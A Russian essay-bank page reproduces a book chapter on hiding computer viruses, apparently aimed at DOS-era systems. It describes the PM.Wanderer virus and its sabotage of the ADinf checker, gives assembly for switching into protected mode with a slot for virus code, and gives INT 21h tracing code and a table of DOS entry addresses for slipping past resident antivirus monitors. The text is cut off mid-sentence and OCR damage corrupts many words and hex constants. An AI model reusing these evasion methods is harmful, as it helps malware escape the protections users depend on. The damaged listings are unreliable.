Реферат: Маскировка вирусов - текст реферата. Скачать бесплатно.
Банк рефератов, курсовых и дипломных работ. Много и бесплатно. # | Правила оформления работ | Добавить в избранное
 
 
   
Меню Меню Меню Меню Меню
   
Napishem.com Napishem.com Napishem.com

Реферат

Маскировка вирусов

Банк рефератов / Программирование

Рубрики  Рубрики реферат банка

закрыть
Категория: Реферат
Язык реферата: Русский
Дата добавления:   
 
Скачать
Microsoft Word, 545 kb, скачать бесплатно
Заказать
Узнать стоимость написания уникального реферата

Узнайте стоимость написания уникальной работы

МАСКИРОВКА ВИРУСОВ В этой главе рассказано , как может быть спрятан вирус. Описаны методы конструи- рования прямо го обращения к DOS для "обмана " резиден- тных ант ивирусных монито- ров . Рассмотрены вирусы, заражающие Flash BIOS. Пред- ставлены исходные тексты программ с подробными ком- ментариями. Protected Mode - укрытие для вируса Персональные компьютеры год от года с тановятся все сложнее и слож- нее , используют все более высокие аппаратные и программн ые техноло- гии . Компьютерные вирусы тоже не отстают и пытаются приспособиться к новым условиям обитания . Так , вирусы на учились заражать загрузоч- ные сектора дисков , файлы для операционных систем DOS, Windows, Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97. Скрывая свое присутствие в системе , они стали невидимками , или стелс- вирусами . Они научились б ы ть полим орфными для того , чтобы их распознавание стал о еще более трудной задачей для разработч иков антивирусных средств . С появлением процессор ов i386 вирусы стали использовать в своем коде 32-разрядные инструкции . В настоящее вре- мя полиморфные вирусы и с пользуют 32-разряд ные расшифровывающие команды в своем декрипторе . Одним словом , вирусы хотят выжить и победить . Для этого они исполь- зуют все новые возможности , как программные , так и аппаратные . Но защищенный режим работы , появивш ийся вместе с процессо ром i286, до недав него времени вирусам никак не удавалось "п риручить ". Вернее, были "пробы пера ", но реальног о решения этой задачи они не дали . Загрузочный вирус PMBS, первым пытавшийся осв оить защищенный ре- жим (1994 г .), не мог ужитьс я ни с одной прогр аммой или драйв ером (EMM386, Windows, OS/2,...), которые также использовали в св оей рабо- те защищенный режим . Вирусы Evolution.2761 и Evolution.2770 (тоже 1994 г .) использовали только часть мо щного защищенного режима и толь- ко в то время , когда процессо р работал в реальном режиме . Данные виру- сы заменяли реальную таблицу векторов прерываний на со бственную . Но вот , похоже , проблема близка к р азрешению : в России в "диком " виде обнаруж ен файловый вирус PM.Wanderer, использующий защи- щенный режим . Причем о н более или менее корректно и стабильно вза- имодействует с другими программами и драйверами , также испол ьзую- щими защищенный режим . PM.Wanderer является резидентным полиморфным вирусо м , использу- ющим защищенный режим процессоров i386-Pentium. Для устан овки своей резидентной копии в память и переключения в защищенный ре- жим процессора (Protected Mode) вирусом используется до кументиро- ванный интерфейс VCPI (Virtual Control Program Interface) драйвера расширен ной памяти EMS (EMM386). При старте инфицированной програм мы вирусный полиморфный дек- риптор расшифровывае т основное тело вируса и передает ему управле- ние . Далее основной вирусный код в ыделяет участок памяти в верхних адресах , к опирует в него собственный код и передает ему управление. Затем он восстанавливает код инфицированного файла в программном сег менте (для ЕХЕ-файлов также производит настрой ку адресов пере- мещаемых элементов ) и приступ ает к непосредственному внедрению в п а мять своей резидентной копии . . В первую очередь вирус пытается вьысн ить , установлен ли в системе драй- вер EMS. Ес ли этот драйвер не установлен или вирусна я резидентная ко- пия уже находится в пам яти , вирус отдает управление программе-вирусо- нос ителю , з аканчивая тем самым свою "жизн едеятельность " в системе . Если же "условия среды обитания " благо приятствуют , вирус выполня- ет ряд подготовительн ых операций для выделения памяти под свое тело и производит переключение процессора в защищенный режим работы с наивысшим ур овнем привилегий - режим супервизора . В защищенном режиме вирус устанавливает две аппаратные контрольные точки на адреса входа в обработчик прерывания INT 21h (функции DOS) и перехода на процедуру перезагрузки комп ьютера . Кроме того , вирус кор ректирует дес крипторную таблицу прерываний таким образом , чтобы на прерывания INT 1 (особый случай отладки ) и INT 9 (клавиатура ) ус- тановить собственные дескрипто ры обработчиков прерываний . После этих приготовлений вирус копирует свой код в страницу памя ти, полученн ую им еще до входа в защищенный режим , и производит пере- ключение процессора обрат но в виртуальный режим работы . Затем он н ачинает процедуру освобождения ранее выделенной памяти DOS в верхних адресах и возвращает управление инфицированной про г рамме . С этого момента инфицированная программа начинает свою основную работу , а в защищ енном режиме оказываются установленными вирус- ны е обработчики - ловушки на INT 1 и прерывания о т клавиатуры на INT 9. С их помощью вирус контролирует , во-первых , все вызовы фун- кц ий DOS, во-вторых , все нажатия клавиш на клави атуре , и , в-третьих, попытки мягкой перезагрузки компьютера . В свою очередь , такой конт- роль обеспечивает вирусу возможность как надежно реагировать на ряд интересующих его событий при работе пр о граммы , так и постоянно проверять состояние двух своих конт рольных точек и при необходимо- сти восстанав ливать их . В частности , если вирус обнару живает , что данный вызов исходит от его "с обрата ", он просто возвращает некоторое условное значение, играющее роль отзыва "я - свой ". Таким образом , вирус , пытавшийся выяснить наличие своей копии в памяти , будет инф ормирован о том, что память уже инфицирована . Если вирус обнаруживает попытку полу чения адреса прерывания INT 6 (обычно такой вызов существует во всех программах , напи санных на языках высокого уровня , например С , Pascal), то он 1"Ъ 1тается найти в адресном п ространстве некоторую последовательность байт , оч евидно принадлежащих программе A Dinf, но какой-то старой версии . Кстати, по информации разработчика ADinf Дмитрия Мостового , за последний го д в версиях ADinf не содержится такая последо вательность . Если дан- ная последовательность вир усом найдена , он определенным образом модифицируе т на й денный код , чтобы управление не попадало на вызов межсегментной процедур ы , демонстрирующей пользователю найденные на диск е или в файлах изменения . Если же вирус обнаруживает запрос на запуск программы или открытие файла (только на чтение ), то понимает , чт о насту пило время "большой охоты ". Вирус копирует сво й код в старшие адреса виртуального про- цесса DOS-машины , переключает процессор в виртуа льный режим и отдает управление своему коду (процедуре заражения ). В виртуальном режиме вирус проверяет последние две буквы расшире- ния имени файла (ОМ или ХЕ ), создает свою полиморфную копию и заражает файлы размером более 4095 байт . Файлы , содержащие в поле значения времен и создания 34 секунды , вирус не заражает , счи - тая их уже инфицированными . Корректировку ат р и бутов файлов вирус не производит , поэтому все файлы , помеченные как "только для чте- ния ", заражены не будут . Также в ирус не заражает программы , имя ко- торых состоит из 7 букв . Имена данных программ вы яснить не удалось, так как вирус не опред еляет их име н а явно , а подсчит ывает CRC име- ни . Вирус не берет на себя обработку критических ошибок , поэтому при попы тке записи на защищенный диск в процессе заражения появится стандартный вопрос DOS (...Retry, Ignore, Fail, Abort). При заражении файлов вирус использ ует прямой вызов ядра обработчи- ка DOS INT 21h. Адрес этого ядра он выясняет при трас сировке INT 21h во время своей установки в пам ять . Вирусный код внедряется в начало СОМ - или в середину ЕХЕ-файла (сразу же после заголовка ). Ориги- нальный программный к од запоминается в конце файла . Реальны й рабочий код вируса составляет 3684 байт , но на практике инфицирован- ные файлы имеют приращение длины более 3940 байт . В теле вируса содержится те кст "WANDERER". Обнаружить резидентную копию данного виру са , находящегося в нуле- вом кольце защищенног о режима процессора , обычными способами не- во зможно . Для этого необходимо переключаться в защищенный режим с наивысшими привилегиями и производить его поиск . Но попытаться обнаружить признаки вируса в системе можно и обычными способами . После обнаружения вируса рекомендуется , к ак и всегда в таких случа- ях , перезагрузи ться с системной дискеты и выполнить лече ние в заведо- мо стерильных условиях . Правда, данный вирус не является Stealth-ви- русом , и его лечение допустимо даже при актив ном вирусе . Теперь немного о результатах тестирования . При заражении несколь- ких тысяч файлов-жерт в вирус проявил себя как "жилец " - все з ара- женные файлы оказались работ оспособными . Здесь надо сделать по- правку - файлы мог ут оказаться неработоспособными в том случае, если их стек после заражения окажется в области вирусного кода. PM.Wanderer при заражении файлов не корректирует значения стар- товых SS:SP в ЕХЕ-заголовке. Как уже отмечалось в ыше , он сохраняет способность к воспроизводству только в том случае , если в системе уста- новлен драйвер EMS (EMM386). При установленном драй вере EMM386 с ключом NOEMS вирус перезагружает компью тер . Перезагрузка также возможна , если в системе используется драйвер QEMM386. Самое интересное , что если в системе находился резидентный вирус, а потом произош ла загрузка Windows 3.1 или Windows 95, то вирус не сможет размножаться в данных операционных средах , но при выходе в DOS он опять получ ает управление и может "трудиться , не покладая рук ". Если же вирус будет запущен в DOS-сесси и Windows, то из-за отсутствия интерфейса VCPI вирус не сможет переключиться в защи- щенный режим . При отсутствии VCPI под OS/2 вирус также нежизнес- пособен . Возм ожно , в недалеком будущем комп ьютерный вирус сможет полнос- тью заменить св оим кодом программу-супервизора и сам будет поддер- живать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает . Приведенная ниже программа позволяет прог раммисту перевести про- цесс ор в защищенн ый режим . В этом режиме вирус может , на пример, расшифровать некоторые данные . Данная программа делает следующее : - создает таблицы GDT и LDT, используя текущие значения CS.D S.SS - запрещает все прерывания , открывает лин ию А 20 для доступа к RAM>1 Мбайт - переводит процессор в защищенный режим - в первый символ строки qw заносит си мвол L - выходит в реальный режим - разрешает прерывания , закрывает А 20 -т - выводит на экра н строку qw ("Light General") - выход в DOS .286 .model tiny .code org 100h Определения для защищенного режима работы программы ;Структура дескриптора desc_struc STRUC limit dw 0 baseJ dw 0 base_h db 0 access db 0 rsrv dw 0 desc_struc ENDS ACC_PRESEN T equ WOOOOOOb ACC_CSEG equ OOO-MOOOb ACC_DSEG equ 000-IOOOOb ACC_EXPDOWN equ 000001 OOb ACC_CONFORM equ 000001 OOb ACC_DATAWR equ 0000001 Ob DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR ; 1001001 Ob CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ; 10 011100b STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN; 1001011 Ob ;Размеры сегментов (реальные размеры на единицу больше ) CSEG SIZE=65535 DSEG_SIZE=65535 STACK_SIZE=655 35 [Смещения используемых дескрипторов CS_DESCR=(gdt_cs-gdt_0) DS_DESCR=(gdt_ds-gdt_0) SS_DESCR=(gdt_ss-gdt_0) ;Константы значений портов ? CMOS_PORT equ 70h STATUS_PORT equ 64h SHUTDOWN equ OFEh A20_PORT equ OD1h A20_ON equ ODFh A20_OFF equ ODDh INT_MAS K_PORT equ 21 h KBD_PORT_A equ 60h start: .Инициализируем необходимые данные для пе рехода ;в защищенный режим call init_protected_mode [Переходим в защищенный режим call set_protected_mode ;Теперь компьютер работает в защищенном режиме ! ;Т ак как таблиц а прерываний реального р ежима не может быть использована в защищенном , прерывания зап рещены ! ;Именно тут можно вставить инструкции , нужные вирусу .Возвращаемся в реальный режим call set_real_mode [Печатаем сообщение "Light General" mov ah,09h lea dx.qw i nt 21 h ;Выходим в DOS mov ax,4COOh int 21 h [Макрокоманда для установки адре са для дескриптора ;в глобальной таблице дескрипторов GDT. ;На входе регистры DLAX должны со держать .абсолют ный адрес сегмента setgdtentry MACRO mov [desc_struc.base_l][bx],ax mov [desc_struc.base_h][bx],dl ENDM • < ; Процедура инициализации необходимых данных .для перехода в защищенный режим init_protected_mode PROC вычисляем абсолютный адрес для сегмента д анных ;в соответствии со значением регистра DS mov ax.ds mov dl.ah shr dl,4 shi ax,4 ;Устанавливаем адрес сегмента данных ;в глобальной таблице дескрипторов mov bx, offset gdt_ds setgdtentry ;Вычисляем абсолютный адрес для сегмент а GDT: прибавляем ;к уже вычисленному абсо лютному адресу сегмента данных ;смещение в нем таблицы дескрипторов add ax,offset gdtr adc dl.0 Останавливаем адрес сегмента GDT ;в глобаль ной таблице дескрипторов mov bx.offset gdt_gdt setgdtentry ;Вычисляем абсолютный адрес для се гмента кода ;в соответствии со значением регистра CS mov ax,cs mov dl.ah shr dl,4 shi ax,4 .Устанавливаем адрес сегмента кода ;в глобальной таблице дескрипторов mov bx, offset gdt_cs setgdtentry [Вычисляем абсолютный адрес для сегмент а стека ;в соответствии со значением рег истра SS mov ax.ss mov dl.ah shr dl,4 shi ax,4 Останавливаем адрес сегмента стека ;в глобальной таблице дескрипторов mov bx,offset gdt_ss setgdtentry Перехватываем рестарт . Так как процессор i286 (а эта программа [рассчитана именно на такой процессор ) не имеет возможности ;в озврата в реальный режим из защищенного , в озврат в реальный режим будем производить сл едующим образом : перехватим рест арт, .сгенерир уем CPU Reset, после которого получим управление , когд а Процессор будет находится уже в реальном режиме . На процессоре ;i386 возврат в реальный режим происходит [значительно проще и "е стественнее ". push ds mov ax,40h mov ds,ax mov word pt r ds:[0067h], offset shutdown_return mov word ptr ds:[0069h],cs pop ds [Запрещаем маскируемые прерывания cli in al,INT_MASK_PORT or al.OFFh out INT_MASK_PORT,al [Запрещаем немаскируемые прерывания . Данная последовательность ;команд не запрещает "нез ап рещаемые " прерывания в процессоре [(этог о сделать по определению нельзя ), а "не пускает " сигнал [немаскируемого прерывания к про цессору mov al,8Fh out CMOS_PORT,al jmp $+2 mov al,5 out CMOS_PORT+1,al ret init_protected_mode ENDP [Подпрограмма , переводящая процессор в з ащищенный режим set_protected_mode PROC .Открываем адресную линию А 20 для досту па свыше 1Мбайт. ;При закрытой линии адрес ное пространство ["зацикливается " в пределах 1Мбайт call enable_a20 .Сохраняем значение регистра SS для реальног о режима mov real_ss,ss [Переводим компилятор Turbo Assembler в улучшенный режим. [IDEAL - это не команда и не оператор , это директива , влияющая [только на интерпр етацию дальнейших строк листинга ideal р 286 [Загружаем регистр глобальной таблицы д ескрипторов GDTR Igdt [QWORD gdt_gdt] ;db OFh,01h,16h dw offset gdt_gdt [Переводим процессор в защищенный режим mov ax,0001h Imsw ax ;db OFh,01h,FOh [Переводим компилятор Turbo Assembler наза д в режим MASM masm .286 [Производим длинный переход для того, .ч тобы очистить внутреннюю очередь .команд процессо ра jmp far flush db OEAh dw offset flush dw CS_DESCR flush: Останав ливаем в регистр SS селектор сегмента стека mov ax,SS_DESCR mov ss.ax ;Устанавливаем в регистр DS селектор сегм ента данных mov ax,DS_DESCR mov ds.ax .Записываем в строку qw символ "L" и выходи м из подпрограммы mov byte ptr ds: [off set qw+2],"L" ret se t_protected_mode ENDP Подпрограмма , возвращающая процессор в ре альный режим set_real_mode PROC [Сохраняем значение регистра SP для реаль ного режима mov real_sp,sp .Выполняем CPU Reset (рестарт процессора ) mov al,SHUT_DOWN out STATUS_PORT,al ;Ждем , пока процессор перезапустится wait_reset: hit jmp wait_reset ;C этого места программа выполняется посл е перезапуска процессора shutdown_return: ;Устанавливаем регистр DS в соответствии с регистром CS push cs pop ds восстанавливаем указатели на стек ;по ра нее сохраненным значениям mov ss,real_ss mov sp,real_sp [Закрываем адресную линию А 20 call disable_a20 .Разрешаем немаскируемые прерывания mov ax.OOOdh out CMOS_PORT,al [Разрешаем ма скируемые прерывания in al,INT-MASK_PORT and al,0 out INT_MASK_PORT,al sti ret set_real_mode EN DP [Процедура , открывающая адресную линию А 20. После открытия [адресной линии программам будет доступ на память свыше 1Мбайт enable_a20 PROC mov al,A20_PORT out STATUS_PORT,al mov al,A20_ON out KBD_PORT_A.al ret enable_a20 ENDP [Процедура , закрывающая адресную линию А 20. После закрытия [адресной линии программам будет недоступна память свыше 1Мбайт. [Ад ресное пространство будет "зацикленны м " в пределах 1Мбайт disable_a20 PROC mov al.A20_PORT out STATUS_PORT,al mov al,A20_OFF out KBD_PORT_A,al ret disable_a20 ENDP [Здесь сохраняется адрес стека real_sp dw ? real_ss dw ? [Эта строка выводится на экран посл е работы программы [Символ "?" заменяется на "L" в защищенном режиме qw db 13,10,"?ight General",13,10,"$" ;Глобальная таблица дескрипторов . Нулевой дескриптор обязательно должен быть "пустым " GDT_BEG=$ gdtr label WORD gdt_0 desc_struc <0,0,0,0,0> gdt_gdt desc_struc gdt_ds desc_struc gdt_cs desc_struc gdt_ss desc_struc GDT_SIZE=($-GDT_BEG) END start Обход резидентных антивирусн ых мониторов Обычно все программы используют сервис DOS так : mov ah,... int 21 h По команде INT управление передается в т очку , адрес которой определя- ется двумя слова ми , находящимися в таблице векторов прерывани й по адресу 0000h: 0084h. С этого момента начин ается исполнение команд многочисленных обработчиков прерывания INT 21h и не менее многочис- ленных резидентных программ до тех пор , пока у правление , наконец, не получит оригинальный обраб отчик операционной системы (рис . 5.1.): Разумеется , среди этих многочисленных обр аботчиков может "затесаться " обработчик , принадле жащий антивирусному монитору , котор ый не дает спокойно работать не только вирусам , но и обычным программам . Поэтому серьезные вирусы и некоторые хорошо написанные программы пытаются определить адрес оригинального обработчика и обратиться к нему напрямую , в обход остальных обработчик ов : mo v ah,... pushf call dword ptr 021 021 dw ? S21 dw ? Но антивирусные мониторы учитывают эту возможность и принимают свои меры . Определение адреса оригинального обработчика DOS Для тог о чтобы обратиться к DOS напрямую , нужно знать адрес ориги- нального об работчика . Получить этот адрес не так прос то . Метод трассировки Чаще всего используется метод трассировки при помощи отладочного прерывания INT 1. Суть ме тода заключается в том , что в ирус трассиру- ет прерывание INT 21h (включает флаг трассиро вки , при этом после каждой команды происходит прерывание INT 1) и проверяет значение сегмента , в котором идет обработка прерывания . Если значение сегмен- та меньше ОЗООЬ , то это о бработчик DOS. Н а пример , так поступал мно- го лет назад вирус Yankee 2C (М 2С , Музыкальны й ). Вот листинг соот- ветствующего фрагмента с комментариями : ;Берем из таблицы векторов прерываний текущий адрес INT 01 h mov ax,3501 h int 21h mov si.bx ;смещение сохраняем в регист ре SI mov di.es ;сегмент сохраняем в регистре DI Останавливаем свой обработчик INT 01h mov ax,2501h mov dx,offset lnt01 int 21h ;Формируем в стеке адрес выхода из трассировки так , чтобы по IRET ;из INT 21h попасть на метку Next - помещаем в стек .последо в ательно флаги , сегмент и смещение метки Next pushf push cs mov ax,offset Next push ax ;Начинаем трассировку INT 21 h. Для это го нужно подготовить стек ;следующим образом : поместить в него флаги с включенны м флагом ;трассировки , а также сегмент и смещение текущего обработчика ;INT 21 h. Затем можн о выполнить команду IRET - программа запустит .текущий обработчик и считает из стека флаги ( флаг трассировки ;во флаговом регистре включ ится, начнется трассировка . После .каждой ком анды процессора будет запускаться INT 01 h). ;Помещаем в стек флаги , включаем в них бит , со ответствующий ;флагу трассировки TF. Для того , ч тобы включить флаг .трассировки TF, после сохранения флагов в стеке считаем и х ;в регистр АХ , в нем включим соответству ющий бит , а затем .сохраним регистр АХ в стеке pushf pop ax or ax,0100h push ax ;Считаем из таблицы векторов прерываний текущий адрес INT 21 h mov ax,3521 h int 21 h [Сохраним в стеке сегмент , а затем и смеще ние текущего обработчика push es push bx [Установим в регистре АН номер како й-либо безобидной функции ;(чтобы определение адреса обработчика DOS ;не сопровождалось разрушени ями ) mov ah.OBh .Запускаем трассировку cli iret [Обработчик INT 01 h lnt01: ;Пр и вызове обработчика в стеке находятся : значение регистра IP, ;значение реги стра CS, флаги перед прерыванием. [Адресуемся к стеку с помощью регистра ВР , [Предварительно сохранив текущее з начение ВР push bp mov bp.sp ;Теперь в стеке находятся : ;SS:[BP] - ВР ;SS:[BP+2] - IP ;SS:[BP+4] - CS ;SS:[BP+6] - флаги ; Проверяем флаг продолжения cmp byte ptr cs:ContinueFlag,1 ;Если флаг продолжения выключен , то выходим из трассировки jne TraceOff [Проверяем текущий адрес . Если сегмент меньше 300h, обработчик DOS достигнут , иначе - продолж аем трассировку ;и выходим из обработчика cmp word ptr [bp+4],300h jnc ExitFromInt [Достигнут DOS - берем из стека адрес об работчика и сохраняем его push bx m ov bx,[bp+2] mov word ptr cs:021,bx mov bx,[bp+4] mov word ptr cs:S21,bx pop bx .Заканчиваем обработку прерывания и дальн ейшую трассировку TraceOff: [Устанавливаем в ноль бит , соответствующ ий TF, ;в копии регистра флагов в стеке and word ptr [bp+6],OFEFF h [Устанавливаем в ноль флаг продолжения mov byte ptr cs:ContinueFlag,0 ExitFromInt: pop bp .Выходим из обработчика i ret [Восстановление после трассировки Next: [Сбрасываем флаг пр одолжения mov byte ptr ds:ContinueFlag,0 [Восстанавливаем прежнее значение вектора прерывания INT 01 h mov ax,2501 h mov dx.si mov ds.di int 21 h В настоящее время этот алгоритм можно считать несколько устарев- шим . Дело в то м , что современные версии DOS могут размеща ть свой обработчик в областях верхней памяти . Поэтому условие окончания трассировки должно выглядеть , например , так : cmp word ptr [bp+4],300h jb loc_65 cmp word ptr [bp+4],OFOOOh ja loc_65 В качестве альтернативного варианта можно испо льзовать такой прием. Сначала опреде ляется исходный сегмент DOS при помощи недокумен - тированной функции 52h прерывания INT 21h (возвращает ад рес век- торной таблицы связи DOS): mov ah, 52h int 21h mov SegDOS, es Тогда условие завершения трассировки мо жно оформить следующим образом : push ax mov ax, cs: SegDOS cmp word ptr [bp+6], ax pop ax jz DOSIsGot Разумеется , разные приемы могут дать р азные результаты . Причем все результаты можно считать в той или иной мере корректным и . Дело в том , что совреме нные версии DOS, даже будучи загруженными в верх- нюю па мять , всегда имеют точку входа в нижней памяти вида : пор пор [Проверка состояния адресной линии А 20 call Check_A20 [Переход в вер хнюю память jmp cs: dword ptr HI_DOS С точки зрения обхода резидентных мон иторов "правильным " следует признать адрес в о бработчике DOS, имеющий максимальное значение. Мы ещ е вернемся к вопросу о нахождении "правиль ного " адреса далее . Авторы антивирусных мониторов знают о подобном приеме поиска ори- гинального а дреса DOS. Достаточно легко испортит трассировку , на- пример , вот такой вот фрагмент , встроенный в цепочку обработчиков : .Вызываем обработчик прерывания INT 60h (до этог о момента [Прерывание INT 60 h должно быть перехвачено ) int 60h ;Сюда нужно вернуться из прерывания пор [Сюда реально вернемся , и флаг трасс ировки будет сброшен, ;то есть трассировка будет прекращена пор [Обработчик прерывания . При вызове преры вания флаг трассировки .сбрасывается - при входе в обработчик трассировка будет выключе на lnt60: [Разрешение прерываний , так как при выходе из обработчика не [будет восстанавлив аться оригинальное значение регистра флагов sti [Увеличиваем на единицу адрес возврата в стеке push bp mov bp, sp add [bp+2],1 pop bp [Выходим из прерывания , но не команд ой IRET, а командой RETF 2, .чтобы не восстанавливать флаги (и , как следствие , .флаг трассировки TF) retf 2 Кроме того , факт трассировки можно дос таточно просто обнаружить, применив хорошо извест ный разработчикам защит от несанкционирован- ного копирования прием аппаратного конвейера , кот орый испо льзует процессор для ускорения работы . При выполнении очередной команды процессо р считывает код следующей . Когда придет вр емя выполнения следующей команды , она будет у же считана из памяти , и не нужно бу- д ет тратить время на ее чтение . Прием з аключается в модификации ко- манд , кот орые уже оказались в конвейере : если трасс ировка не ведется, то код команд модифицирует ся только в памяти , а выполняется та п ро- грамма , которая находится в конвейере . Есл и трассировка ведется , то конвейер сбрасывается перед каждо й командой трассируемой програм- мы (конвейер сбрасывают такие команд ы , как JMP, CALL, RET) и вы- полняется модифицированный ко д . Кодифицируем следующую команду . Команда JMP ( безусловный ; переход ) заменяется на две коман ды NOP (нет операции ) mov Metka, 90 90h Переходим , если выполняется немодифицированны й код (в случае, ;когда трассировка не ведется ), и проходим дальше , если выполняетс я кодифицированный код (в случае трассировки ) Metka: jmp NoTrace Trace: ;Сюда попадем при выявленном факте трассировки NoT race: Трассировка не ведется - нормальное выполн ение программы Наконец , последний гвоздь в гроб идеи использования трассировки за- бит : "Выставленный флаг трассировки можно выявить косвенно , замас- кировав аппаратные прерывания , поместив в [SP-1] контрол ьное значе- ние и дав инстр укцию STI. Тогда по изменению слова в стеке можно судить , было трассировочное прерывание или нет ". Выявив факт трассировки прерывания DOS, мони торы начинают выда- вать об этом соответствую щие сообщения , поэтому даже не самый опы тный пользователь догадается , что кто-то (например , вирус ) пытает- ся попасть в систем у . Метод предопределенньш адресов Переходим к методу определения оригинальн ого адреса точки входа в DOS, основанному на том , что эти адреса для разных в ерсий и конфи- гураций DOS имеют в общем слу чае различные значения , но число их ограничен о . А это значит , что их можно просто-на просто выбирать из таблицы (причем не очень большой ). Прием не новый , но не з аслу- женно забытый . Имея программу , основанную на одном из ранее описанных способов определения реального адреса обработчика DOS, загрузочные дискеты с р азными версиями DOS и немного терпения , можно получить при- мерно вот такую информацию . Оригинальный обработчик DOS версии 3.30 всегда имеет вид : .Точка О 2Е CS: 891ЕВ 800 MOV [ООВ 8],ВХ 2Е CS: 8С 06ВАОО MOV [OOBA],ES СВ RETF .Точка 1 2Е CS: 3A26FFOD СМР AH,[ODFF] 77DC JA 1443 80FC51 СМР АН ,51 74А 1 JZ 140D 80FC64 СМР АН ,64 74ВА JZ 143A ;Точка 2 Ориги нальные обработчики DOS версий 5.0-7.0 оч ень похожи. В общем случае они состоят из следующих фрагментов : Фрагмент 1 (если он присутствует ) всегда располагается в нижних ад- ресах памяти . Бо льшинство алгоритмов трассировки заканчивают раб о- ту , достигнув э той точки . Для DOS верси й 5.0-6.22 этот фрагмент при- сутствует , если в CONFIG.SYS есть строка DOS=HIGH (вне зависимости от того , ос уществляется ли запуск поддерживающего эту опцию драйвера HIMEM.SYS). Если драйвера нет , то JMP FAR прост о указывает на фрагмент 2, размещающи йся в нижних областях памяти. Если строки DOS=HIGH нет , то фрагмент 1 вырожден (состоит из од- ной команды внутрисегментного перехода ), и обработчик состоит из фрагмента 2. ;Точка О 90 МОР 90 NOP E8CCOO CALL CheckA20 2E CS: FF2E6A10J MP FAR NEXTDOS Фрагмент 2 может располагаться как в в ерхних , так и в нижних адре- сах памяти . ;Точка 1 NEXTDOS: FA CLI 80FC6C СМР АН .6С 77D2 JA 40DO 80FC50 СМР АН .50 748Е JZ 40A9 ;Т очка 2 Для DOS 7.0 структура обработчика , в общем , такая же . Исключение - фрагмент 1 присутствует всегда , вне зависимости от содержимого фай- ла CONFIG.SYS. Теперь приведем конкретные значения адрес ов , полу- ченные для разных случаев : DOS 7.0 (русская ве рсия ) Точка О OOC9:OFB2 9090 Точка 1 FF03:41E7 80FA Точка 2 FF03:420A 1E06 Точка 2А FF03:5333 2ACD DOS 6.20 device=himem. sys dos=high Точка О 0123:109Е 9090 Точка 1 FDC8:40F8 80FA Точка 2 FDC8:411B1E06 Точка 2А FDC8:41D12ACD DOS 6.20 dos=high Точка О 0123:109Е ОЗЕВ Точка 1 03AC:40F8 80FA Точка 2 О ЗАС :411В 1Е 06 Точка 2А 03AC:41D1 2ACD DOS 6.20 Точка 1 002A:40F8 SOFA Точка 2 002А :411В 1Е 06 Точка 2А 002A:41D1 2ACD DOS 5.0 device=himem. sys dos=high Точка О 0123:109Е 9090 Точка 1 FDC8:40EB80FA Точка 2 FDC8:410E 1Е 06 Точка 2А FDC8:41C42ACD DOS 5.0 dos=high Точка О 0123:109Е ОЗЕВ Точка 1 03AC:40F8 80FA Точка 2 О ЗАС :411В 1Е 06 Точка 2А 03AC:41D1 2ACD DOS 5.0 Точка 1 002А :40ЕВ 80FA Точка 2 002А :410Е 1Е 06 Точка 2А 002A:41D1 2ACD DOS 3.30 Точка О 0070:05DC 892E Точка 1 0294:1460 ЗА 2Е Точка 2 0294:1480 Точка 2А 0294:151 В 2ACD DOS 3.10 Точка О 0070:OD43 DOS 3.20 Точка 0 0070:17DO Точка 2 является оптимальной , то есть в нее целесообразнее всего пере- дава ть управление , чтобы обойти резидентные антив ирусные мониторы. Точка 2А - это позиция инстру кции INT 2Ah, которую DOS обязатель- но выполняет в процессе обработки 21-го прерывания . В конце каждой строки приведены контр ольные слова - на тот случай, если по указа нному адресу находится нечто иное . Борьба с антивирусными монитор ами Современные антивирусные мониторы ум е ют отслеживать факт прямо- го обращения прогр амм к DOS. Защиту 21-го прерывания можно организовать более эффективно , ис- пользуя метод встраиван ия в ядро операционной системы . Общеприня- тая схема такова : в точку входа прерывания INT 21h записывается инс т- рукция JMP FAR на обработчи к , который проверяет номер функции на безопас ность . Он восстанавливает оригинальные инструкции в точке вхо- да прерывания и вызывает обработчик INT 21h. После возврата управле- ния из прерывания , в точку входа снова записывае т ся инструкция JMP FAR, и управление п ередается программе , вызвавшей INT 21h. Здесь описан обычный "сплайсинг " (встраиван ие ), который широко применяется разработчиками ви русов . Отметим , что для перехода не обязательн о использовать инструкцию JMP FAR (она з анимает 5 байт в памяти и не везде может быть размещена ). Вместо нее можно приме- нить INT 3, затратив всего 1 байт . В то же время необходимо обеспе- чить обработку вызовов с к одами OOh, 4Ch, 31h (они не возвращают уп- равление в исходную точку ), а также с амовызов ов (при завершении процессов посредством INT 27h и INT 20h). Процесс развивается следующим образом . Пе рвый компонент антивирус- ного монитора встраивае тся в ядро DOS, а второй - просто перехватыва- ет цепочку 21-го прерывания . Когда программа выпо лняет инструкцию INT 21h, управление переда ется второму компоненту . У антивирусных мониторов существует список функций , которые восприним аются ими как опасные . Они могут сделать проверку на наличие заданной функ- ции в этом списке , затем выставить флаг "п р оход цепочки " и передать управление дальш е . Когда первый компонент получает управление , он проверяет флаг "прохода цепочки ". Если он выставлен , то была инст- рукция INT 21h, поэтому необходимо сбросить флаг "проход цепочки " и передать управление в DOS. Ес л и флаг сброшен , это значит , что был 5 - 1436 выполнен прямой вызов . В этом случае требуется принимать соответ- ствующие меры против возможных действий вируса . Эта идея исключительно пр оста и эффективна . В том или ином виде ее прим еняют почти все современные антивирусные мони торы . Вот один из таких вариантов . После трассировки прерывания выполняется обращение к DOS по оригинальному адресу . Программа AVPTSR перехватывает обращение. Точне е , AVPTSR перехват ывает INT 2Ah, причем этот вызов произве- ден из INT 21h, вблизи начала фрагмента . Обработчик INT 08h, то есть таймера , периодически восстанавливает вект ор 2Ah, если он был отключен . Подразумевается , что флаг прохода цепочки 21-го прерыв ания проверя- ется в обраб отчике INT 2Ah. Конструирование неотслеживаемого о бращения к DOS Для чего нужно такое конструирование ? Неужели антивирусные мони- торы настолько бдитель ны , что пресекают любые попытки открыть дл я модификации ЕХЕ - или СОМ-файл ? Д а , эт о действительно так . Авто- ры антивирусных мон иторов обладают достаточно эффективными сред- ств ами , чтобы предотвратить прямые обращения к DOS со стороны ви- русов . Обратимся к мнению Ю . Косивцова : "Для обнаружения действия нере- зидентных вирусов н е обходимо контролировать вызов функций DOS с номерами : 3Dh (открытие файла через описатель ), OFh (открытие файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов 